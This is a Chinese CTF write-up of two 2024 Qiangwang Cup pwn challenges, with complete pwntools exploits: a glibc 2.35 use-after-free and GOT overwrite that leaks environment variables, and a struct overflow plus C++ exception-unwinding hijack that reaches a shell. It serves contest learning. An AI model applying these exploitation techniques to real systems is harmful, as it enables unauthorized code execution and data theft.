本次强网杯初赛做出两道pwn题，把详细题解写一下记录。
baby_heap
附件下载
2.35 的版本，IDA打开，堆菜单题，经典增删改查之外，还有两个额外的操作，一个是环境变量，另一个是任意地址写 0x10 字节。
del 里面有很明显的UAF漏洞。
show 只有一次机会，但是可以同时将 libc 和堆地址一起泄露出来，只需要我们释放两个相同大小的堆块之后，bk_nextsize 和 fd_nextsize 上面就会携带堆的地址，然而我自己的做法中没有用到。
交互函数：
from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")def choice(ch):
p.sendlineafter("choice:",str(ch))
def add(size):
choice(1)
p.sendlineafter('size',str(size))
def free(idx):
choice(2)
p.sendlineafter('delete:',str(idx))
def edit(idx, payload):
choice(3)
p.sendlineafter('edit:',str(idx))
p.sendafter('content',content)
def show(idx):
choice(4)
p.sendlineafter('show:',str(idx))
def env(ch):
choice(5)
p.sendlineafter('sad !',str(ch))
def write(addr1,payload):
choice(6)
p.sendafter('addr',p64(addr1))
p.send(payload)
先add出四个堆块，把 1 3 free 掉，再打印出 3 堆块的内容，即可连带泄露 libc 和堆地址。
add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)
运行结果。
注意到选项 6 并不是任意地址写，而是有一定限制的，
这里说实话不知道是不是 IDA 解析有问题。因为理论上来说 stdin 是FILE *类型，占 8 字节，因此&stdin[512]等同于 stdin 的地址加上512*8=4096=0x1000，但是将视角调到汇编时会发现。。
它往后加了 0x1b000 的地址，通常情况下，以汇编为准一定没问题（以上是做题时的想法），但是后来才发现犯了一个错误，stdin 的确是 FILE * 类型的，但是stdin[0]是 FILE 类型的，直接的 stdin 是一个指向_IO_2_1_stdin_的指针，类型为 FILE，在 gdb 里面也很容易观察到这一点。
这里主要观察这个 &stdin[512] 与 stdin 的差值，以及可以发现，它所禁用的这个范围就是 libc_IO_2_1_stdin_之后的data 段，全部不允许写。
而另外一个条件就有意思了，不能超过 80 开头的一个地址，基本不会触发，所以目标很明确，让我们去写 libc_IO_2_1_stdin_之前的 data 段，或者是写堆段，程序段写不了因为没有办法泄露地址。
先考虑前者，来看看之前的 data 段存了哪些内容。
发现基本是 got 表，于是尝试输出看看 libc 的 got 表，发现都是跟字符串操作的相关函数。
看来可以尝试在这里找一个函数作为跳板，能不能one_gadget呢？显然不能，这题有沙箱。
除非你能找到一个 execveat 系统调用执行的one_gadget这题才能直接一键利用。
同时注意到选项 5 对环境变量的相关操作。
◆getenv
◆putenv
◆setenv
这里可以直接上 glibc 的源码。
char *
getenv (const char *name)
{
char **ep;
uint16_t name_start; if (__environ == NULL || name[0] == '\0')
return NULL;
if (name[1] == '\0')
{
/* The name of the variable consists of only one character. Therefore
the first two characters of the environment entry are this character
and a '=' character. */
#if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned
name_start = ('=' << 8) | *(const unsigned char *) name;
#else
name_start = '=' | ((*(const unsigned char *) name) << 8);
#endif
for (ep = __environ; *ep != NULL; ++ep)
{
#if _STRING_ARCH_unaligned
uint16_t ep_start = *(uint16_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));
#endif
if (name_start == ep_start)
return &(*ep)[2];
}
}
else
{
size_t len = strlen (name);
#if _STRING_ARCH_unaligned
name_start = *(const uint16_t *) name;
#else
name_start = (((const unsigned char *) name)[0]
| (((const unsigned char *) name)[1] << 8));
#endif
len -= 2;
name += 2;
for (ep = __environ; *ep != NULL; ++ep)
{
#if _STRING_ARCH_unaligned
uint16_t ep_start = *(uint16_t *) *ep;
#else
uint16_t ep_start = (((unsigned char *) *ep)[0]
| (((unsigned char *) *ep)[1] << 8));
#endif
if (name_start == ep_start && !strncmp (*ep + 2, name, len)
&& (*ep)[len + 2] == '=')
return &(*ep)[len + 3];
}
}
return NULL;
}
观察到最后一个循环中，它在遍历环境变量，并且使用 strncmp 这个函数，而这个函数恰好是在 got 表中的，如果尝试将其改为 puts，结果会如何呢？
可以发现只输出了 USER 环境变量，而且前两位被去掉了，我们从头来分析这个源码看。因为我们入口是getenv("USER")，所以长度为 1 的判断就直接过掉，直接看 else 分支，似乎只有开头两个字符匹配到了，才会紧接着调用 strncmp，因此出现了只输出 USER 环境变量的问题。
但是当我选择选项 2 或 3 的时候，它输出了所有的环境变量。
也就是说不管是调用 putenv 还是 setenv，在劫持了 strncmp 函数之后都可以完美输出所有环境变量。
它们两个函数内部都调用了一个函数__add_to_environ。
函数源码跳楼（https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/setenv.c#L116）
int
__add_to_environ (const char *name, const char *value, const char *combined,
int replace)
{
char **ep;
size_t size; /* Compute lengths before locking, so that the critical section is
less of a performance bottleneck. VALLEN is needed only if
COMBINED is null (unfortunately GCC is not smart enough to deduce
this; see the #pragma at the start of this file). Testing
COMBINED instead of VALUE causes setenv (..., NULL, ...) to dump
core now instead of corrupting memory later. */
const size_t namelen = strlen (name);
size_t vallen;
if (combined == NULL)
vallen = strlen (value) + 1;
LOCK;
/* We have to get the pointer now that we have the lock and not earlier
since another thread might have created a new environment. */
ep = __environ;
size = 0;
if (ep != NULL)
{
for (; *ep != NULL; ++ep)
if (!strncmp (*ep, name, namelen) && (*ep)[namelen] == '=')
break;
else
++size;
}
/*
中间省略很多代码，感兴趣可以直接去看完整源码
*/
return 0;
}
通过分析这个函数的源码，可以发现这里会无条件地去遍历环境变量一次一次调用 strncmp 去判断，并且很幸运，第一个参数就是函数变量的指针，因此修改 strncmp 的 got 为 puts 函数，就可以输出所有的环境变量。
在远程环境中， flag 就在环境变量中。
总EXP：
from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")def choice(ch):
p.sendlineafter("choice:",str(ch))
def add(size):
choice(1)
p.sendlineafter('size',str(size))
def free(idx):
choice(2)
p.sendlineafter('delete:',str(idx))
def edit(idx, payload):
choice(3)
p.sendlineafter('edit:',str(idx))
p.sendafter('content',content)
def show(idx):
choice(4)
p.sendlineafter('show:',str(idx))
def env(ch):
choice(5)
p.sendlineafter('sad !',str(ch))
def write(addr1,payload):
choice(6)
p.sendafter('addr',p64(addr1))
p.send(payload)
add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)
libc_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21ace0
success('libc_addr: '+hex(libc_addr))
write(libc_addr+0x21a118,p64(libc_addr+libc.sym['puts']))
env(2)
gdb.attach(p)
p.interactive()
第二种方法当然是可以用 Largebin Attack 去打，但是过于复杂，可能自己还没学会，主要在于分享自己的 EXP 和做题思路了，就不增加额外的工作量。
expect_number
附件下载（https://xia0ji233.pro/2024/11/07/qwb2024_pre/expect_number_cf786f84f8b86260b7eac1628ad682a8.zip）
这题没给 libc，应该题目自己有提权或者是给 flag 的东西，运行它输出的话，需要让我们最终计算得到0x4F5DA2这个值。
也是一个很经典的菜单
选项 1 发现它会根据随机1~4之间的整数来判断当前对数字做四则运算，1、2、3、4 分别对应了加、减、乘、除，并且另一个运算的数字只能是 0 1 2。既然是随机，那么交叉一下 srand 函数看看它是用了什么种子。
虽然调用了 time 函数，但是使用了 1 作为种子，因此序列是固定的，可以自己也编写一个 C 语言程序去输出这个序列。
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
int main(){
srand(1);
for(int i=0;i<288;i++){
printf("%d ",rand()%4+1);
}
}
为了避免被怀疑水长度，这里 288 个数字不展示了，仅在最后 EXP 展示。
很显然的，加减如果是 0，那么这次加减是无效的，乘除如果是 1，这次乘除也是无效的，来先看看指定数值的判断逻辑。
它只判断最后的那一个字节是否为 a8，自己构造序列也挺简单，遇到除法就给 1，遇到减法就给 0，结果发现再一次加法中突然报错了。
顺着报错找到代码：
看了一下可能我的数值不超过 0x100，但是发现 >0x80 的数被识别为了负数，前面将char类型做了符号扩展之后又转为无符号整数，自然就超出范围了。
这里举个例子构造 0x82，再次尝试加法的时候结果为 0x80于是进入里面的逻辑。
可以发现它先做了零扩展（movzx），再做了符号扩展（movsx），因此下一步 RAX 的值变为了0xffffff80，对于res来说，它是 -80 了，再+2变为 -78，转为无符号整数之后自然就超过了 0x100。
因此如果想算出超过 0x80 的字节，必须算到对应的 /2 的形式，而且最后一个运算符必须是*2，结果只能是偶数，不能结果不能超过一个字节。
这些结论做稍加的数学推导应该很容易发现，但是当你好不容易凑好 0x54，再乘 2 得到 0xa8 的时候，会发现，远程 gift 是没有这个文件的。
咨询出题人（合理的咨询是不违反比赛规则的）后发现这是正常情况。
那么题目就不是让我们执行这个system("cat gift")了，闲来无事去找字符串的时候发现/bin/sh，发现在输入选项的时候有一个后门。
发现 cin 被 try 包裹了，如果出现运行时错误，那么就执行system("/bin/sh")，而试过了各种输入都无法触发，一再陷入僵局，后面发现了退出函数有一个函数指针的调用。
正常情况下就是输出Good Bye，于是想到能否将结果覆盖到上面，计算的数值的结构体是
struct calc{
char *unknown;
int rounds;
char num[288];
char s;
}
而我们的数值是随着 round 增加保存在后面的，查看是否有机会覆盖函数指针，结构体地址在5400，而函数指针在5520，显然我们足以覆盖这个函数指针。
具体字段图中标出，我们有机会覆盖任意字节到函数指针的低位。
于是找各种可能的情况，在 4c00 的地址 0x100 字节范围内看看有什么能修改的。
这里大概率都是虚函数表，发现 0x60 偏移处有一个栈溢出，栈溢出刚好足以让我们覆盖返回地址。
同时发现它主动检测溢出了会抛出运行时异常，运行时异常 emm，是不是可以和前面结合一下呢，答案是可以的，我们来了解一下C++如何处理异常的。我们都知道，在严格的异常处理流程，一个函数如果有可能抛出异常，要么你声明它本身也是可以抛出异常，要么将可能抛出异常的函数用 try 包裹。
C++ 如何实现多级的 try 判断呢，答案是栈回溯，它会寻找调用栈，判断之前的函数有没有被 try 包裹，有的话尝试捕获去处理。正常情况下这种设计当然没问题，如果返回值地址被我们修改的话，它就会根据返回值地址的值去寻找调用栈，那么此时我就可以尝试将这个抛出的异常在 cin 输入那里去捕获，然后完成system("/bin/sh")的调用。
并且 show 功能可以输出程序基地址，也不用去爆破了。
最后一点需要注意的是，看到后门这里，它有一条写栈内存的指令，因此在溢出的时候，RBP 要设为一个可写的地址。
最终 EXP：
from pwn import *
p=process('./expect_number',aslr=False)
# p=remote('39.106.48.123',32818)
context.log_level='debug'seq="4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 1 4 4 3 4 1 1 1 1 4 1 3 3 3 4 4 3 3 3 4 2 2 3 2 1 1 1 2 1 3 2 2 2 1 4 1 2 4 2 2 4 2 4 2 4 4 1 2 2 3 2 3 4 4 1 1 4 1 2 4 4 3 1 1 4 1 2 1 4 3 2 3 4 2 4 4 1 1 1 2 3 2 1 3 1 1 3 4 1 4 4 4 2 4 1 1 4 2 1 4 4 3 2 3 4 2 2 4 2 3 1 4 4 1 2 1 1 4 4 2 3 3 1 1 3 1 1 2 2 2 1 1 4 3 4 3 4 1 2 1 3 2 4 3 3 2 3 3 1 2 4 4 1 1 4 3 1 4 4 3 1 1 3 4 3 2 2 2 3 3 2 1 1 1 3 3 2 1 1 3 3 1 2 3 1 1 1 1 4 4 3 1 4 2 4 2 3 2 3 1 4 4 2".split(' ')
seqnum=[int(i) for i in seq]
target=0x60
now=0
ch=0
k=''
for i in seqnum:
p.sendlineafter('choice ','1')
if i==1:
k += '2'
now += 2
# if now == target-2:
# gdb.attach(p)
p.sendlineafter('or 0', str(2))
elif i==2:
k += '0'
p.sendlineafter('or 0', str(0))
else:
k += '1'
p.sendlineafter('or 0', str(1))
ch+=1
if now==target:break
gdb.attach(p)
for i in seqnum[ch:-0xc]:
p.sendlineafter('choice ', '1')
if i==1 or i==2:
p.sendlineafter('or 0', str(0))
k += '0'
else:
p.sendlineafter('or 0', str(1))
k += '1'
# input()
p.sendlineafter('choice ', '2')
p.recvuntil(k)
addr=u64(p.recv(6)+b'\0\0')-0x4c60
success('code: '+hex(addr))
payload=b'\x00'*0x20+p64(addr+0x5080)+p64(addr+0x251A)
p.sendlineafter('choice ', '4')
p.sendafter('Tell me your favorite number.', payload)
p.interactive()
本地运行结果
远程运行结果（纪念一下hh）
总结
能打出两题还是挺开心的，感谢强网杯提供的高质量赛题（就是rs和go没学过后面就坐牢了），不管是从考点还是利用难度来说，题目出的都是非常棒的。
看雪ID：xi@0ji233
https://bbs.kanxue.com/user-home-919002.htm
# 往期推荐
2、Fuzzing原理探究：afl，afl++背后的变异算法
球分享
球点赞
球在看
点击阅读原文查看更多
如有侵权请联系:admin#unsafe.sh